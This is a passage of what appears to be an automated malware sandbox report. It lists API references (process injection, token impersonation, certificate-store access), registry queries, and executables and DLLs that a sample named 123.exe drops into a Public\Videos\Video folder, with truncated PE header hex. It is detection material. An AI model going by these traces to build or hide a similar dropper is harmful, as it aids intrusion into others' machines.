"123.exe") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00006604.00000000.106018.73790000.00000002.mdmp, 00000000-00006604.00000001.107938.11193000.00000002.mdmp, 00000000-00006604.00000002.109859.738D1000.00000020.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00006604.00000000.106018.73790000.00000002.mdmp, 00000000-00006604.00000001.107938.11193000.00000002.mdmp, 00000000-00006604.00000002.109859.738D1000.00000020.mdmp") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; Source: "00000000-00006604.00000000.106018.73790000.00000002.mdmp, 00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00006604.00000000.106018.73790000.00000002.mdmp, 00000000-00006604.00000000.106018.73A55000.00000002.mdmp, 00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00006604.00000000.106018.73790000.00000002.mdmp, 00000000-00006604.00000000.106018.73A55000.00000002.mdmp, 00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "WTSQuerySessionInformationA" (Indicator: "WTSQuerySessionInformation"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "NetWkstaGetInfo" (Indicator: "NetWkstaGetInfo"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "Warning. OpenProcessToken failed, e=%d" (Indicator: "OpenProcessToken"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "OpenProcessToken FAILED (%d)" (Indicator: "OpenProcessToken"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "NSMPlatform95::GetLoggedOnUserName - GetUserName returned %d" (Indicator: "GetUserName"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "WTSQueryUserToken" (Indicator: "WTSQueryUserToken"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "Warning. WTSQuerySessionInformation(%d) failed - not launching client, e=%d" (Indicator: "WTSQuerySessionInformation"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "GetUserNameEx ret %d, %s, time=%d ms, e=%d" (Indicator: "GetUserName"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "GetUserNameExA" (Indicator: "GetUserName"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "NetUserGetInfo(%ls\%ls) took %d ms and ret x%x" (Indicator: "NetUserGetInfo"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "NetUserGetInfo" (Indicator: "NetUserGetInfo"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp")4d:T4bf,"SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\TabTip.exe" (Indicator: "microsoft\windows\currentversion\app paths") in Source: 00000000-00006604.00000001.107938.11193000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\%s" (Indicator: "microsoft\windows\currentversion\app paths") in Source: 00000000-00006604.00000001.107938.11193000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Uninstall" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00006604.00000001.107938.11193000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{787DFE02-CC6C-4AAC-B455-166BBEE4C5AF}" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00006604.00000001.107938.11193000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C412F191-BB15-4e40-9CCC-97E571D2C6BF}" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00006604.00000001.107938.11193000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3F709462-4AD7-482F-8761-C6ED6AD145A1}" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00006604.00000001.107938.11193000.00000002.mdmp4e:T125d,Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: pcicapi.dll] Observed import api "AddAccessAllowedAce" which can "Adds an access-allowed access control entry (ACE) to an access control list (ACL)" [Source: PCICL32.DLL] Observed import api "AddAce" which can "Adds one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: PCICL32.DLL] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: PCICL32.DLL] Observed import api "AllocateLocallyUniqueId" which can "Allocates a locally unique identifier (LUID)" [Source: PCICL32.DLL] Observed import api "CopySid" which can "Copies a security identifier (SID) to a buffer" [Source: PCICL32.DLL] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: PCICL32.DLL] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: PCICL32.DLL] Observed import api "GetAce" which can "Obtains a pointer to an access control entry (ACE) in an access control list (ACL)" [Source: PCICL32.DLL] Observed import api "GetAclInformation" which can "Retrieves information about an access control list (ACL)" [Source: PCICL32.DLL] Observed import api "GetLengthSid" which can "Returns the length in bytes of a valid security identifier (SID)" [Source: PCICL32.DLL] Observed import api "GetSecurityDescriptorDacl" which can "Retrieves a pointer to the discretionary access control list (DACL) in a specified security descriptor" [Source: PCICL32.DLL] Observed import api "GetSecurityDescriptorSacl" which can "Retrieves a pointer to the system access control list (SACL) in a specified security descriptor" [Source: PCICL32.DLL] Observed import api "GetSidIdentifierAuthority" which can "Returns a pointer to the SID_IDENTIFIER_AUTHORITY structure in a specified security identifier (SID)" [Source: PCICL32.DLL] Observed import api "GetSidSubAuthority" which can "Returns a pointer to a specified subauthority in a security identifier (SID)" [Source: PCICL32.DLL] Observed import api "GetSidSubAuthorityCount" which can "Returns a pointer to the member in a security identifier (SID) structure that contains the subauthority count" [Source: PCICL32.DLL] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: PCICL32.DLL] Observed import api "ImpersonateLoggedOnUser" which can "Lets the calling thread impersonate the security context of a logged-on user" [Source: PCICL32.DLL] Observed import api "InitializeAcl" which can "Initializes a new ACL structure" [Source: PCICL32.DLL] Observed import api "InitializeSecurityDescriptor" which can "Initializes a new security descriptor" [Source: PCICL32.DLL] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: PCICL32.DLL] Observed import api "IsValidSid" which can "Validates a security identifier (SID) by verifying that the revision number is within a known range and that the number of subauthorities is less than the maximum" [Source: PCICL32.DLL] Observed import api "RevertToSelf" which can "Terminates the impersonation of a client application" [Source: PCICL32.DLL] Observed import api "SetSecurityDescriptorDacl" which can "Sets information in a discretionary access control list (DACL)" [Source: PCICL32.DLL] Observed import api "SetSecurityDescriptorSacl" which can "Sets information in a system access control list (SACL)" [Source: PCICL32.DLL] Observed import api "SetTokenInformation" which can "Sets various types of information for a specified access token" [Source: PCICL32.DLL] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: TCCTL32.DLL] Observed import api "InitializeSecurityDescriptor" which can "Initializes a new security descriptor" [Source: TCCTL32.DLL] Observed import api "SetSecurityDescriptorDacl" which can "Sets information in a discretionary access control list (DACL)" [Source: TCCTL32.DLL] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: HTCTL32.DLL] Observed import api "ImpersonateLoggedOnUser" which can "Lets the calling thread impersonate the security context of a logged-on user" [Source: HTCTL32.DLL] Observed import api "RevertToSelf" which can "Terminates the impersonation of a client application" [Source: HTCTL32.DLL]4f:T848,"123.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\CMD.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\REG.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\PUBLIC\PUBLIC\VIDEOS\VIDEO\BILD.EXE"; Value: "") "bild.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "bild.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "bild.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "bild.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\VMBUS\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "bild.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\PSCHED\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "bild.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\PSCHED"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "bild.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "bild.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "bild.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP6"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "")50:T437,Found reference to API "ReleaseMutex" (Indicator: "ReleaseMutex"; File: "123.exe") Found reference to API "CreateMutexA" (Indicator: "CreateMutex"; File: "123.exe") Found reference to API "OpenMutexA" (Indicator: "OpenMutex"; File: "123.exe") Found reference to API "ReleaseMutex" (Indicator: "ReleaseMutex"; Source: "00000000-00006604.00000000.106018.73790000.00000002.mdmp, 00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "CreateMutexA" (Indicator: "CreateMutex"; Source: "00000000-00006604.00000000.106018.73790000.00000002.mdmp, 00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "CreateMutex() FAILED - mutex: %s (%d)" (Indicator: "CreateMutex"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "ReleaseMutex() FAILED - mutex: %s (%d)" (Indicator: "ReleaseMutex"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp") Found reference to API "OpenMutexA" (Indicator: "OpenMutex"; Source: "00000000-00006604.00000001.107938.11193000.00000002.mdmp")51:T487,"bild.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%PUBLIC%\Public\Videos\Video\bild.exe]- [targetUID: 00000000-00006604] "remcmdstub.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%PUBLIC%\Public\Videos\Video\remcmdstub.exe]- [targetUID: 00000000-00001540] "pcicapi.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%PUBLIC%\Public\Videos\Video\pcicapi.dll]- [targetUID: 00000000-00006604] "PCICL32.DLL" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%PUBLIC%\Public\Videos\Video\PCICL32.DLL]- [targetUID: 00000000-00006604] "TCCTL32.DLL" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%PUBLIC%\Public\Videos\Video\TCCTL32.DLL]- [targetUID: 00000000-00001540] "HTCTL32.DLL" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%PUBLIC%\Public\Videos\Video\HTCTL32.DLL]- [targetUID: 00000000-00006604] "PCICHEK.DLL" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%PUBLIC%\Public\Videos\Video\PCICHEK.DLL]- [targetUID: 00000000-00006604]52:T779,"123.exe" wrote 20480 bytes starting with PE header signature to file "C:\Users\Public\Public\Videos\Video\pcicapi.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "123.exe" wrote 18808 bytes starting with PE header signature to file "C:\Users\Public\Public\Videos\Video\PCICHEK.DLL": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "123.exe" wrote 39424 bytes starting with PE header signature to file "C:\Users\Public\Public\Videos\Video\remcmdstub.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "123.exe" wrote 2816 bytes starting with PE header signature to file "C:\Users\Public\Public\Videos\Video\bild.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "123.exe" wrote 15616 bytes starting with PE header signature to file "C:\Users\Public\Public\Videos\Video\msvcr100.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...53:Tb00,"bild.exe" called "GetAdaptersInfo" (UID: 00000000-00006604) "bild.exe" called "GetAdaptersInfo" with parameter "00000000090000007b44303344423043312d323732392d343637342d413837352d3836323544443738343330307d000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000496e74656c2852292050524f2f31303030204d54204e6574776f726b20436f6e6e656374696f6e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006000000fe44e74e5f12000009000000060000000100000000000000000000003139322e3136382e302e3200000000003235352e3235352e3235352e30000000c0a80002000000003139322e3136382e302e3100000000003235352e3235352e3235352e32353500c0a80001000000003139322e3136382e302e3100000000003235352e3235352e3235352e32353500c0a80001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d5083967b10e39676e7fff9550730000" - (UID: 00000000-00006604) "bild.exe" called "GetAdaptersInfo" with parameter "00000000090000007b44303344423043312d323732392d343637342d413837352d3836323544443738343330307d000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000496e74656c2852292050524f2f31303030204d54204e6574776f726b20436f6e6e656374696f6e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006000000fe44e74e5f12000009000000060000000100000000000000000000003139322e3136382e302e3200000000003235352e3235352e3235352e30000000c0a80002000000003139322e3136382e302e3100000000003235352e3235352e3235352e32353500c0a80001000000003139322e3136382e302e3100000000003235352e3235352e3235352e32353500c0a80001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f8083967d40e39679f7eff6550730000" - (UID: 00000000-00006604)54:T67b,FindFirstFileW GetFileAttributesW OpenFileMappingW GetTempPathW DeviceIoControl GetModuleFileNameW IsDebuggerPresent GetModuleFileNameA LoadLibraryExA UnhandledExceptionFilter LoadLibraryExW CreateThread GetSystemDirectoryW TerminateProcess GetModuleHandleExW LoadLibraryW GetVersionExW GetTickCount VirtualProtect GetStartupInfoW CreateDirectoryW DeleteFileW GetProcAddress CreateFileMappingW WriteFile FindFirstFileExA FindNextFileW FindNextFileA CreateFileW GetSystemInfo LockResource GetCommandLineW GetCommandLineA MapViewOfFile GetModuleHandleW FindResourceW Sleep GetModuleHandleA GetStartupInfoA GetVersionExA LoadLibraryA CreateProcessA OpenProcessToken OpenProcess GetTempPathA OutputDebugStringA RegDeleteKeyA StartServiceA RegCloseKey RegDeleteValueA RegCreateKeyExA RegCreateKeyA SetSecurityDescriptorDacl GetUserNameW CreateProcessAsUserA RegEnumKeyExA StartServiceCtrlDispatcherA GetUserNameA RegOpenKeyExA CreateFileMappingA GetFileAttributesA GetDriveTypeA DisconnectNamedPipe OpenFileMappingA GetThreadContext FindResourceExA ConnectNamedPipe CopyFileA WriteProcessMemory ExitThread GetSystemDirectoryA CreateRemoteThread WinExec GetFileSize CreateDirectoryA DeleteFileA ReadProcessMemory VirtualProtectEx FindFirstFileA GetTempFileNameA GetComputerNameA CreateFileA FindResourceA VirtualAlloc ShellExecuteA GetCursorPos GetClipboardData GetLastActivePopup FindWindowExA SetWindowsHookExA FindWindowA GetWindowThreadProcessId GetUpdateRect InternetCrackUrlA EnumPrintersA recv socket bind send accept WSAStartup connect closesocket listen55:T771,Found reference to API "OpenThread" (Indicator: "OpenThread"; File: "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; File: "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272") Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; File: "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; File: "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272") Found reference to API "CreateRemoteThreadEx" (Indicator: "CreateRemoteThread"; Source: "00000000-00001236.00000001.82769.6A751000.00000020.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00001236.00000001.82769.6A751000.00000020.mdmp, 00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found reference to API "OpenThread" (Indicator: "OpenThread"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp")56:Td2f,"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\INPROCSERVER32") "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\INPROCSERVER32") "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\INPROCSERVER32") "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\INPROCHANDLER32") "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\INPROCHANDLER32") "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\INPROCHANDLER") "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\INPROCHANDLER") "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\DATACOLLECTION") "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\DATACOLLECTION") "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\") "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS") "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL\FEATURE_IGNORE_POLICIES_ZONEMAP_IF_ESC_ENABLED_KB918915") "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL\FEATURE_IGNORE_POLICIES_ZONEMAP_IF_ESC_ENABLED_KB918915") "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP\DOMAINS\") "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP\DOMAINS\") "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" (Access type: "OPEN"; Path: "HKLM\ZONEMAP\RANGES\") "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" (Access type: "OPEN"; Path: "HKCU\ZONEMAP\RANGES\")57:Tfb7,Found api reference "CryptGetProvParam" (Indicator: "CryptGetProvParam"; File: "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272") Found api reference "CryptReleaseContext" (Indicator: "CryptReleaseContext"; File: "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272") Found api reference "CertFreeCertificateChain" (Indicator: "CertFreeCertificateChain"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found api reference "CertVerifyCertificateChainPolicy" (Indicator: "CertVerifyCertificateChainPolicy"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found api reference "CertGetCertificateChain" (Indicator: "CertGetCertificateChain"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found api reference "CertGetEnhancedKeyUsage" (Indicator: "CertGetEnhancedKeyUsage"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found api reference "CertEnumCertificatesInStore" (Indicator: "CertEnumCertificatesInStore"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found api reference "CryptAcquireCertificatePrivateKey" (Indicator: "CryptAcquireCertificatePrivateKey"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found api reference "CertGetCertificateContextProperty" (Indicator: "CertGetCertificateContextProperty"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found api reference "CertSetCertificateContextProperty" (Indicator: "CertSetCertificateContextProperty"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found api reference "CertAddEncodedCertificateToStore" (Indicator: "CertAddEncodedCertificateToStore"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found api reference "CertAddCertificateContextToStore" (Indicator: "CertAddCertificateContextToStore"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found api reference "CertCloseStore" (Indicator: "CertCloseStore"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found api reference "CertOpenSystemStoreA" (Indicator: "CertOpenSystemStoreA"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found api reference "CertOpenStore" (Indicator: "CertOpenStore"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found api reference "CertGetValidUsages" (Indicator: "CertGetValidUsages"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found api reference "CertGetNameStringA" (Indicator: "CertGetNameStringA"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found api reference "CertFreeCertificateContext" (Indicator: "CertFreeCertificateContext"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found api reference "CertCreateCertificateContext" (Indicator: "CertCreateCertificateContext"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found api reference "CertGetCertificateContextProperty (3) FAILED (%d)" (Indicator: "CertGetCertificateContextProperty"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found api reference "CertGetCertificateContextProperty (2) FAILED (%d)" (Indicator: "CertGetCertificateContextProperty"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found api reference "CertGetCertificateContextProperty (1) failed (%d)" (Indicator: "CertGetCertificateContextProperty"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found api reference "CertAddCertificateContextToStore FAILED (%d)" (Indicator: "CertAddCertificateContextToStore"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found api reference "CryptGetProvParam FAILED (%d)" (Indicator: "CryptGetProvParam"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found api reference "CryptReleaseContext" (Indicator: "CryptReleaseContext"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp")58:T13f8,Assembly shows XOR instruction xor eax ebp in Stream UID: 62245-249-0042C803 Assembly shows XOR instruction xor ecx ebp in Stream UID: 62245-249-0042C803 Assembly shows XOR instruction xor eax ebp in Stream UID: 62245-392-004282C3 Assembly shows XOR instruction xor ecx ebp in Stream UID: 62245-392-004282C3 Assembly shows XOR instruction xor eax ebp in Stream UID: 62245-1286-0041CABE Assembly shows XOR instruction xor ecx ebp in Stream UID: 62245-1286-0041CABE Assembly shows XOR instruction xor eax ebp in Stream UID: 62245-1362-00427E0E Assembly shows XOR instruction xor ecx ebp in Stream UID: 62245-1362-00427E0E Assembly shows XOR instruction xor eax ebp in Stream UID: 62245-1416-004279A7 Assembly shows XOR instruction xor ecx ebp in Stream UID: 62245-1416-004279A7 Assembly shows XOR instruction xor eax ebp in Stream UID: 62245-1421-0042784E Assembly shows XOR instruction xor ecx ebp in Stream UID: 62245-1421-0042784E Assembly shows XOR instruction xor eax ebp in Stream UID: 62245-1422-004278A4 Assembly shows 